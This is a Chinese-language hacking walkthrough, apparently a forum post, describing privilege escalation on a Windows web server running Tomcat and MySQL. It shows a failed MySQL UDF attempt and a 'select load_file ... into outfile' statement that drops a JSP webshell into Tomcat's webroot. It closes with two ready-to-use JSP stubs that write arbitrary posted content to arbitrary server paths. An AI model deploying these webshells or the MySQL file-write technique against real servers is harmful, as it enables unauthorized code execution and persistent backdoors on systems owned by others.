测试服务器的80端口按照标准的虚拟主机来配置的,支持asp
,aspx
,php
,但是不支持jsp,服务器安装了mssql
(1433端口),tomcat
(8080端口),serv-u
(43958端口)和两个mysql
(3306端口和3307端口)
提权的时候没有sa密码,没有serv-u密码,mysql 5.1查看了插件目录
show variables like '%plugin%';
根据设置导出自定义函数dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\
成功,但是创建自定义函数似乎被拦截,一直失败。
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/
均无写入权限
测试mysql有写入权限。故上传jsp大马至网站web目录:\wwwroot\fuck.jsp
用mysql执行语句写入webshell后成功
select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
但访问后得到如下提示:
明显是MySQL的Win下版本自动添加转义符\n\r了,导致程序运行错误。
网上找了很多方法,什么update把转义符消掉,enclose之类的,但就是没一个可以用的。
最后弄了这么个小脚本:
<%@ page language="java" pageEncoding="gbk"%> <jsp:directive.page import="java.io.File"/> <jsp:directive.page import="java.io.OutputStream"/> <jsp:directive.page import="java.io.FileOutputStream"/> <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%> error <%}}if(i==0){%> ok <%}%> <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
就可以避免转义符让JSP的马儿运行500错误了。 更精简的版本:
<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>error<%}}if(i==0){%>ok<%}%>